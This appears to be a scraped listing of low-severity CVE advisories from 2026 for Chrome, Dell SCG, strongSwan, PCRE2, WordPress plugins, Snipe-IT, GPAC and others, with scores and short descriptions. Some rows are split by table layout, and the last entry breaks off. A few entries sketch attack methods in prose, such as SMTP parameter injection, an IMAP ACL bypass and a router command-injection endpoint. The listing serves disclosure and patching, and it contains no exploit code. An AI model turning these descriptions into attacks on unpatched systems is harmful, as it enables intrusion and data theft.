CVE-2026-87538	Clickjacking in Input in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)	4.2	More Details
CVE-2026-86198	PocketMine-MP versions before 5.44.2 fail to properly validate multiple ResourcePackClientResponsePacket packets with STATUS_COMPLETED status during resource pack handling. Malicious clients can send batches of these packets to repeatedly trigger pre-spawn progression, creating duplicate Player objects and amplifying memory consumption and network traffic.	4.2	More Details
CVE-2026-87502	Confused deputy in Fullscreen in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)	4.2	More Details
CVE-2026-87472	Improper input validation in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	4.2	More Details
CVE-2026-84113	The Quentn WP WordPress plugin before 1.2.15 does not properly sanitise and escape a parameter before using it in an SQL query, allowing high privilege users such as administrators to perform SQL injection attacks.	4.1	More Details
CVE-2026-23792	An issue was discovered in NR RRC in Samsung Mobile Processor and Modem Exynos 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, W1000, Modem 5300, Modem 5400, and Modem 5410. Incorrect handling of unauthenticated downlink RRC Setup messages can cause the baseband to crash.	4.0	More Details
CVE-2026-89045	zstd-jni versions 1.4.8-4 through 1.5.7-13 fail to validate negative length parameters in ZstdInputStreamNoFinalizer.read(), allowing attackers to trigger infinite loops. Attackers can pass negative length values to cause the read method to spin indefinitely while holding the stream monitor, blocking all other threads from accessing the stream.	4.0	More Details
CVE-2026-79516	An out-of-bounds read in the stbsp_vsnprintf function (stb_sprintf.h) of nothings stb commit 31c1ad3 allows attackers to cause a Denial of Service (DoS) via sending a crafted input.	4.0	More Details

CVE-2026-90467	aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, allowing attackers to inject ESMTP parameters into MAIL FROM and RCPT TO command lines. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters like AUTH, NOTIFY, or ORCPT to envelope commands, forging authenticated identities or forcing delivery notifications to third parties.	4.0	More Details
CVE-2026-49312	Permission control vulnerability in the window module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.	4.0	More Details
CVE-2026-88059	Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.28, 21.2.20, and 22.1.1, Angular's @angular/common HttpTransferCache can cache an authenticated response when Server-Side Rendering (SSR) and hydration use a hierarchical HttpClient configured with withRequestsMadeViaParent. The child TransferCache evaluates an initially anonymous request before delegation, then a parent withInterceptors chain adds an Authorization header, cookie, or API token; although the parent cache skips the authenticated request, the child still stores the private response in TransferState serialized as JSON in the ng-state script. Exploitation requires provideClientHydration, child provideHttpClient delegation through withRequestsMadeViaParent, parent-level credential injection, and an SSR HTML response shared across users by a CDN, reverse proxy, or application cache. A later unauthenticated or unauthorized visitor can receive the cached HTML containing the earlier authenticated user's sensitive response data. Applications can mitigate by attaching credentials at the child, filtering sensitive endpoints with withHttpTransferCacheOptions, disabling transfer caching for sensitive routes, or marking personalized HTML private or no-store. This issue is fixed in versions 20.3.28, 21.2.20, and 22.1.1.	4.0	More Details
CVE-2026-87486	Clickjacking in TrustedWebActivities in Google Chrome on on Android prior to 153.0.8010.36 allowed a local attacker to spoof address bar via a co-installed app. (Chromium security severity: Medium)	4.0	More Details
CVE-2026-86740	Snipe-IT before 8.7.0 fails to check the return value of Storage::delete() in UploadedFilesController::destroy() and Api\\UploadedFilesController::destroy(), allowing deletion requests to report success while files remain on disk. Administrators performing attachment deletions receive success responses and see files hidden from listings, but the physical files persist on disk and remain accessible to anyone with filesystem or backup access.	3.8	More Details
CVE-2026-79690	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	3.7	More Details
CVE-2026-78131	strongSwan 4.2.0 through 6.0.7 has a missing release of memory after its effective lifetime in the x509 plugin's attribute certificate parser.	3.7	More Details
CVE-2026-89160	PCRE2 before 10.48 has a pcre2_match out-of-bounds read during the PCRE2_MATCH_INVALID_UTF matching of an invalid UTF subject.	3.7	More Details
CVE-2026-78124	strongSwan 5.0.2 through 6.0.7 allows PKCS#7 certificate enumeration in the openssl plugin that leads to a lack of release of memory after its effective lifetime.	3.7	More Details
CVE-2026-79729	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	3.7	More Details
CVE-2026-90575	A weakness has been identified in PHPGurukul Small CRM 4.0. This impacts the function unserialize of the file /crm/login.php of the component Login Success Handler. This manipulation of the argument geopluginURL causes deserialization. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks.	3.7	More Details
CVE-2026-86407	The User Registration & Membership WordPress plugin before 5.2.8 does not verify that the visitor requesting its membership confirmation page owns the account named in the request, nor that any registration or purchase has taken place, allowing unauthenticated users to retrieve another user's email address, profile fields, role and membership order details. Exploitation requires the site owner to have added a user smart tag to that page's configurable message, which the shipped default does not contain.	3.7	More Details
CVE-2026-88013	rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.49.0 until 1.75.1, the HTTP backend attaches headers configured through --http-headers or headers= to requests in backend/http/http.go, while its fshttp.NewClient client follows redirects without a backend-specific http.Client.CheckRedirect policy. A configured remote that redirects to another host can therefore cause custom secrets such as X-Api-Key to be resent to that untrusted destination, and a same-host HTTPS-to-HTTP redirect can expose Authorization or Cookie headers in cleartext. Listing, stat, download, mount, and	3.7	More Details

	serve operations can trigger the leak during normal use. This issue is fixed in version 1.75.1.		
CVE-2026-90771	joi before versions 17.13.8 and 18.2.9 contains a prototype pollution vulnerability in the messages compilation function that accepts __proto__ as an error code. Attackers can supply __proto__ keys in custom messages to replace the returned object's prototype, breaking downstream code relying on Object.prototype methods.	3.7	More Details
CVE-2026-13144	The WP Travel WordPress plugin before 12.0.2 does not properly verify that the requester is authorized to modify the targeted booking on one branch of its bank-deposit handler, allowing an unauthenticated attacker who knows the target customer's email address to reset that customer's booking payment to an unpaid state and wipe its stored deposit-reconciliation data.	3.7	More Details
CVE-2026-13146	The WP Travel WordPress plugin before 12.0.2 does not properly verify that the requester owns the booking targeted by its bank-deposit slip submission, allowing an unauthenticated attacker who knows the target customer's email address to change that customer's booking payment state and attach a file to it.	3.7	More Details
CVE-2026-79736	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	3.7	More Details
CVE-2026-78127	libcharon in strongSwan 4.1.2 through 6.0.7 has a missing release of memory after its effective lifetime in the IKE message parser.	3.7	More Details
CVE-2026-86203	PocketMine-MP versions before 5.39.2 fail to validate entity despawn state when processing attack packets from clients. Attackers can exploit a race condition by attacking a disconnecting player to trigger multiple death handlers, causing inventory items and experience to drop multiple times for duplication.	3.7	More Details
CVE-2026-79732	Dell Secure Connect Gateway (SCG) 5.0 Appliance, versions prior to 5.36.00.xx, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.	3.7	More Details
CVE-2026-23793	An issue was discovered in Samsung Mobile Processor Exynos 1330, 1380, 1480, and 2400. An out-of-bounds memory access vulnerability in the camera GDC driver may lead to kernel memory corruption under certain conditions.	3.5	More Details
CVE-2026-90604	A security flaw has been discovered in Totolink A3002MU Hh-B20211125.1046. This affects an unknown part of the component Anchor Tag Handler. Performing a manipulation results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.	3.5	More Details
CVE-2026-89151	Forgejo before 16.0.4 allows use of restricted API tokens for unintended access to the "allow maintainer edit" feature.	3.5	More Details
CVE-2026-61909	An issue was discovered in Cyrus IMAP before 3.12.4. CalDAV/CardDAV multiget bypasses a per-href ACL. An authenticated DAV user with some shared access to another user's calendar or address book could read even unshared events or contacts by including the target hrefs in a calendar-multiget or addressbook-multiget REPORT.	3.5	More Details
CVE-2025-70820	Zettlab D6 Ultra before 1.7.0 allows absolute path traversal to reach folders other than the personal folder.	3.5	More Details
CVE-2026-46460	Dell PowerScale OneFS, versions 9.5.0.0 through 9.7.1.15, versions 9.8.0.0 through 9.13.1.0, and versions prior to 9.15.0.0, contain an Incorrect Authorization vulnerability. A low privileged adjacent network attacker could potentially exploit this vulnerability, leading to unauthorized modification of system logs.	3.5	More Details
CVE-2026-90568	A vulnerability was detected in moxi624 Mogu Blog v2 up to 5.2. This affects the function BlogSortServiceImpl.addBlogSort of the file mogu_web/src/main/resources/templates/info.ftl of the component blogSort Endpoint. The manipulation of the argument sortName results in cross site scripting. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.	3.5	More Details
CVE-2026-86763	Snipe-IT versions >= 7.0.12 and <= 8.6.3 contain an authorization bypass in the Livewire importer component (App\Livewire\Importer, mounted at the imports.index route). The component only checked the broad 'import' ability at mount time, while its files() and activeFile() computed properties queried the imports table with no owner or company scope. As a result, any authenticated non-superuser holding the import permission could view every Import record on the instance (original filename, file_path, filesize, import_type and creation timestamp) and could invoke the selectFile($id) Livewire action with any auto-incrementing Import ID to load another user's record, exposing its stored preview data (header_row column headers and first_row, the first data row of the CSV). Because import CSVs commonly contain personal data, asset serial numbers and license keys, this discloses sensitive information; in Full Multiple Companies Support (FMCS)	3.5	More Details

	deployments the disclosure also crosses company/tenant boundaries. Impact is limited to preview data rather than the full CSV file, and superusers were unaffected. Fixed in version 8.7.0, which scopes non-superuser reads to imports owned by the caller.		
CVE-2026-90489	A vulnerability was identified in Xuxueli xxl-job up to 3.5.0. This vulnerability affects unknown code of the file /jobinfo/insert. Such manipulation of the argument name/author leads to cross site scripting. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details
CVE-2025-15695	The Translate WordPress with GTranslate WordPress plugin before 3.0.10 does not validate one of its settings before the bundled front-end scripts build markup from it, allowing users with a role as high as administrator to store JavaScript that runs in the session of any visitor to the site.	3.5	More Details
CVE-2026-61910	An issue was discovered in Cyrus IMAP before 3.12.4. Mailbox/set let a sharee change a special-use role on shared mailboxes. An authenticated user with maySetKeywords on another user's mailbox could change that mailbox's specialuse annotation. This could allow the sharee to change the shared mailbox to perform the archived, snoozed, or other role, which might cause mail mail to be written to the shared mailbox, sharing more content than intended. (This is likely to be an unusual situation, made more unusual because if the target already has an non-shared mailbox with that role, role duplication suppression will prevent the update.)	3.5	More Details
CVE-2026-90502	A vulnerability was detected in stilleshan ServerStatus 1.0/2.0. Impacted is an unknown function of the file server/src/main.cpp of the component Stats Generation. Performing a manipulation of the argument custom results in cross site scripting. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details
CVE-2026-90497	A vulnerability was determined in Fengoffice Feng Office up to 3.11.13.11. Affected by this vulnerability is the function getTitle of the file application/views/task/add_task.php of the component Task Title Output. Executing a manipulation of the argument og_objects.name can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details
CVE-2026-90528	A flaw has been found in TDuckApp tduck-platform up to 5.3. Affected by this vulnerability is an unknown functionality of the file tduck-front/src/views/form/write/index.vue of the component Form Write View. This manipulation of the argument submitShowCustomPageContent causes cross site scripting. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.	3.5	More Details
CVE-2026-90529	A vulnerability has been found in DataEase up to 2.10.25/2.10.26. Affected by this issue is the function buildTooltip of the file core/core-frontend/src/views/chart/components/js/panel/charts/map/symbolic-map.ts of the component Symbolic Map. Such manipulation of the argument canvasViewInfo[*].customAttr.tooltip.backgroundColor leads to cross site scripting. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet.	3.5	More Details
CVE-2026-79300	SEP sesam before 5.2.0.24 mishandles User Authorization with MFA. If AD authentication is configured and MFA is enforced, an attacker can create a second OTP access capability. SEP sesam and Active Directory handle username capitalization differently, which may allow multiple SEP sesam user accounts to be created for the same Active Directory (AD) account. Active Directory treats usernames as case-insensitive, while SEP sesam distinguishes between different letter casing. As a result, the same AD user can be represented by multiple SEP sesam user accounts that differ only in username capitalization. When Active Directory authentication is configured and multi-factor authentication (MFA) is enforced, this behavior may allow an additional OTP Authenticator to be registered for the same AD account, reducing the effectiveness of MFA protection.	3.5	More Details
CVE-2026-90563	A vulnerability was determined in maliangnansheng bbs-springboot 3.0.0. This affects the function utils.toToc of the file ArticleController.java. This manipulation causes cross site scripting. The attack is possible to be carried out remotely.	3.5	More Details
CVE-2026-90564	A vulnerability was identified in quequnlong shiyi-blog 1.0.0-1.2.1. This impacts the function SysChatMsgMapper.getChatMsgList of the file blog-web/src/views/chat/index.vue of the component chat sendMsg Endpoint. Such manipulation of the argument chat_msg leads to cross site scripting. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet.	3.5	More Details
CVE-2026-90602	A vulnerability was determined in Anil-matcha Open-Generative-AI up to 1.0.11/2.0.0. Affected by this vulnerability is the function renderHistory of the file ImageStudio.js of the component Studio Components. This manipulation causes cross site scripting. The attack may be initiated remotely. The pull request to fix this issue awaits acceptance.	3.5	More Details
CVE-	A security vulnerability has been detected in quequnlong shiyi-blog up to 1.2.1. Affected by this issue is the function highlightKeyword of the file blog-web/src/components/Search/index.vue of the component Search.		More

2026-90567	The manipulation of the argument title/summary leads to cross site scripting. The attack can be initiated remotely. The project was informed of the problem early through an issue report.	3.5	Details
CVE-2026-79944	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Least Privilege Violation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.	3.4	More Details
CVE-2026-79693	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Least Privilege Violation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.	3.4	More Details
CVE-2026-90508	A security flaw has been discovered in Chengdu Qilu Technology Ludashi 6.1026.4715.714. Affected by this vulnerability is the function MessageNotifyCallback in the library ProtectFilter64.sys of the component Message Dispatch Handler. Performing a manipulation results in missing authorization. Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	3.4	More Details
CVE-2026-79942	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.	3.4	More Details
CVE-2026-87576	Uninitialized resource in GPU in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	3.4	More Details
CVE-2026-87456	Uninitialized resource in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	3.4	More Details
CVE-2026-87647	Uninitialized resource in GPU in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)	3.4	More Details
CVE-2026-79727	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.	3.3	More Details
CVE-2026-45761	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a crafted rule using mixed-case frame syntax could trigger a heap buffer overflow while Suricata is loading signatures. The issue is reached during rule parsing/loading rather than by network traffic alone. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, preprocess rules to check that frames are all lowercase and/or only load trusted rulesets.	3.3	More Details
CVE-2026-80169	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.	3.3	More Details
CVE-2026-79966	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.	3.3	More Details
CVE-2026-90576	A security vulnerability has been detected in GPAC up to f1219cde. Affected is the function gf_node_list_add_child of the file scenegraph/base_scenegraph.c of the component MP4Box. Such manipulation leads to null pointer dereference. The attack can only be performed from a local environment. The exploit has been disclosed publicly and may be used. Upgrading to version abi-16.23 is able to address this issue. The name of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. You should upgrade the affected component.	3.3	More Details
CVE-2026-86776	KeePass versions 2.35 through 2.61.1 fail to validate KDBX header field sizes before memory allocation in the ReadHeaderField function. Attackers can craft a malicious KDBX file declaring excessive header field lengths to trigger allocation of gigabytes of memory, causing the application to consume resources and terminate.	3.3	More Details
CVE-2026-90609	A vulnerability has been found in GPAC up to f1219cde. The impacted element is an unknown function of the file scenegraph/vrml_tools.c of the component MP4Box. Such manipulation leads to null pointer dereference. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is sufficient to resolve this issue. The name of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. It is suggested to upgrade the affected component.	3.3	More Details
CVE-2026-	A vulnerability was identified in GPAC up to f1219cde. The impacted element is the function gf_sg_mfurl_del of the file scenegraph/vrml_tools.c of the component MP4Box. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit is publicly available and might be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version	3.3	More

90573	details for affected or updated releases cannot be specified. Upgrading to version abi-16.23 is sufficient to resolve this issue. The identifier of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. It is recommended to upgrade the affected component.		Details
CVE-2026-11765	Improper neutralization of argument delimiters in a command ('argument injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Pen allows Argument Injection. This issue affects Pardus Pen: before 4.2.1.	3.3	More Details
CVE-2026-80175	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.	3.3	More Details
CVE-2026-90773	procs through 0.14.12 fails to sanitize escape sequences in process command lines before displaying them in the Command column. Local attackers can execute processes with malicious ANSI or OSC escape sequences in their command line arguments, which are written unmodified to other users' terminals for interpretation by terminal emulators.	3.2	More Details
CVE-2026-87485	Incorrect authorization in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87498	Missing authorization in WebUI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-87517	Race condition in Mobile in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-86739	Snipe-IT 8.6.3 and earlier do not check the return value of Storage::put() when writing the signature PNG and the generated acceptance PDF in Account\AcceptanceController::store(). On filesystem drivers that return false instead of throwing on a write failure (for example the local disk with restrictive permissions, S3 with expired credentials, or a storage backend that is out of quota), execution continues into $acceptance->accept(), which sets accepted_at and the signature_filename/eula_filename fields, creates the 'accepted' action-log entry, and dispatches completion notifications even though the evidence files were never stored. The result is an acceptance record marked complete whose supporting evidence files do not exist, yielding a materially incomplete compliance artifact for EULA acknowledgement or equipment-receipt workflows. The condition is triggered when an authenticated user completes an acceptance while the storage backend is silently failing writes; an attacker cannot directly force the storage backend into that state. Fixed in Snipe-IT 8.7.0.	3.1	More Details
CVE-2026-87521	Information leak in WebMCP in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87531	Information leak in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87539	Observable discrepancy in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87657	Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87451	Information leak in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87452	Incorrect authorization in GPU in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-35867	A Command Injection vulnerability exists in the bs_SetLimitCli_info function within the libshare.so library of the LB-LINK router AC1900_AZ2 V1.0.2 via shell metacharacters, if the device is deployed in a scenario where an actor is able to make a "POST /goform/set_LimitClient_cfg" call but does not already have administrative access to the device.	3.1	More Details
CVE-	Missing authorization in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had		More

2026-87434	compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	3.1	Details
CVE-2026-87611	Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87442	Confused deputy in Prerender in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-87652	Incorrect authorization in PushAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	3.1	More Details
CVE-2026-61908	An issue was discovered in Cyrus IMAP before 3.12.4. A JMAP email-header blob ID can reference an out-of-bounds index. An authenticated user could attempt to download a crafted JMAP blob ID of the form H<emailid>-<index>, which could read past the end of the internal blob_headers array during download, exposing adjacent heap memory.	3.1	More Details
CVE-2026-87614	Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)	3.1	More Details
CVE-2025-45480	Floodlight 71fe8a7 allows disruption of host communication via link spoofing. A port is misclassified as a non-boundary.	3.0	More Details
CVE-2026-87876	Two case-insensitive comparisons on request-derived usernames outside the main authorization path in CUPS's scheduler (printer ACL validation and private-attribute filtering) could allow bypass of username-based access controls in certain configurations.	3.0	More Details
CVE-2026-52296	FFmpeg before 9.0 has an out-of-bounds read because of missing required padding in WMA extradata allocation paths in libavcodec/wmaenc.c.	2.9	More Details
CVE-2026-89162	In PCRE2 before 10.48, pcre2_serialize_encode might disclose two bytes to an adversary, typically in a situation where the access available to the adversary is already unsafe.	2.9	More Details
CVE-2026-38332	TinyEXIF before 1.1.0 has a heap-based buffer over-read in EntryParser::Fetch methods reachable via a crafted SubjectArea length.	2.9	More Details
CVE-2026-89156	PCRE2 before 10.48 has a pcre2_match out-of-bounds read after a JIT fallback when an attacker can provide invalid UTF data.	2.9	More Details
CVE-2026-52297	FFmpeg before 9.0 has an out-of-bounds read because there is insufficiently padded extradata in the MOV parsing path in mov_read_iacb in libavformat/mov.c.	2.9	More Details
CVE-2026-23786	An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A TOCTOU race condition in the Exynos DRM HDR Driver leads to a heap overflow, causing a kernel crash.	2.8	More Details
CVE-2026-33956	An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, and 2500. Sending a malformed message to the test_msg sysfs entry causes an out-of-bounds write, leading to denial of service.	2.8	More Details
CVE-2026-86779	The Visualizer WordPress plugin before 4.0.6 does not properly authorise chart-deletion requests, performing only a site-wide capability check with no per-object ownership verification, allowing users with the Contributor role and above to permanently delete any chart on the site, including charts created by other users such as administrators.	2.7	More Details
CVE-2026-82851	The Masteriyo LMS WordPress plugin before 3.4.1 does not verify ownership of, or restrict the type of, the records a user requests for download, allowing users with the instructor role to retrieve the full content and metadata of arbitrary posts, including other instructors' private and draft courses.	2.7	More Details
CVE-2026-87525	Out of bounds read in Chromoting in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to read memory outside the sandbox via a local program. (Chromium security severity: High)	2.7	More Details
	libarchive 3.8.x before 3.8.2 has a strcpy heap-based buffer overflow in the gzip writer via the original-		

CVE-2025-64031	filename field to archive_compressor_gzip_open in archive_write_add_filter_gzip.c, aka GHSA-92wx-p669-8gr9. This relates to bsdtar. Exploitation envisions a marginally plausible scenario in which original-filename is obtained from an untrusted party. (original-filename is not derived from the input data.)	2.5	More Details
CVE-2026-80239	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to information exposure.	2.4	More Details
CVE-2026-90569	A flaw has been found in linlinjava litemall 1.5.0/1.6.0/1.7.0/1.8.0. This vulnerability affects the function AdminTopicController.validate of the file litemall-vue/src/views/items/topic/index.vue of the component Admin Topic Handler. This manipulation causes cross site scripting. The attack may be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.	2.4	More Details
CVE-2026-90570	A vulnerability has been found in linlinjava litemall 1.4.0/1.5.0/1.6.0/1.7.0/1.8.0. This issue affects the function AdminGoodsService.validate of the file litemall-vue/src/views/items/detail/index.vue of the component Product Detail. Such manipulation of the argument detail leads to cross site scripting. The attack may be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.	2.4	More Details
CVE-2026-90503	A flaw has been found in Chengdu Qilu Technology Ludashi 6.1026.4715.714. The affected element is the function sub_11008 in the library ComputerZ_x64.sys. Executing a manipulation of the argument PhysicalAddress can lead to information disclosure. The attack needs to be launched locally. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	2.3	More Details
CVE-2026-86744	Snipe-IT 8.6.3 and earlier (and develop pre-release commits prior to the fix) contain a race condition in the asset checkout paths. Api\AssetsController::checkout() and Assets\AssetCheckoutController::store() call Asset::availableForCheckout() outside the mutation path and then invoke Asset::checkOut() without taking a row lock or re-checking availability, so two concurrent checkout requests for the same available asset can both observe it as available and both commit. This produces duplicate checkout-history rows, a doubled checkout_counter, and two CheckoutableCheckedOut events for a single-assignment asset, corrupting the audit trail and utilization/reconciliation reporting; the asset's final assigned_to remains singular, so the visible assignment stays intact. Exploitation requires an authenticated session holding the assets.checkout permission (or superuser) and precise concurrent timing. Fixed in 8.7.0.	2.2	More Details
CVE-2026-84025	The BEAR WordPress plugin before 1.2.2 does not perform ownership checks on several handlers that return product data by a user-supplied identifier, allowing users who are restricted to their own products to read other owners' product information, including protected downloadable file URLs and private product metadata.	2.2	More Details
CVE-2025-64059	Grav 1.7.50.2 allows admins to enter JavaScript via the Home Page editor. NOTE: the relevance of this for stored XSS is disputed because admins are allowed to modify templates, install plugins, and upload other executable content.	1.8	More Details
CVE-2026-78303	Joomla Extension - joomshaper.com - Unvalidated Email Destination & Form Manipulation in Booking Requests in SP Property < 4.1.4 - Booking inquiries previously relied on client-submitted hidden fields for recipient routing, allowing potential email manipulation.	N/A	More Details
CVE-2026-84941	An information disclosure vulnerability in the SAML Single Sign-On (SSO) functionality of Omada Controller allows an authenticated user with SAML configuration privileges to access sensitive information due to insufficient validation of user-supplied SAML metadata. Successful exploitation could result in unauthorized disclosure of sensitive information.	N/A	More Details
CVE-2026-88260	Authentication bypass using an alternate path or channel and Improper validation of syntactic correctness of input vulnerability in Brainzcompany Zenius EMS 8.0 allows Remote Code Inclusion. This issue affects Zenius EMS 8.0: through OAM (Build 109).	N/A	More Details
CVE-2026-15418	In the silabser.sys driver for CP210x devices v11.5.0 and earlier, a local unprivileged user with a malicious device can use malformed packets to leak up to 145 bytes of uninitialized kernel pool memory. This vulnerability affects Windows 10 and earlier.	N/A	More Details
CVE-2026-78083	Joomla Extension - joomshaper.com - Missing CSRF Token Verification in Property Booking and Agent Contact Endpoints in SP Property < 4.1.4 - The visitor booking (properties.booking) and agent contact form submission (agents.sendmail) endpoints processed POST requests without verifying Joomla session anti-CSRF tokens.	N/A	More Details
CVE-2026-15417	In the silabser.sys Windows 8 driver for CP210x devices, a local unprivileged user can use incorrect driver settings to cause a kernel crash.	N/A	More Details
CVE-2026-	A Time-of-check Time-of-use (TOCTOU) race condition leading to insecure symlink following in Plesk causes	N/A	More

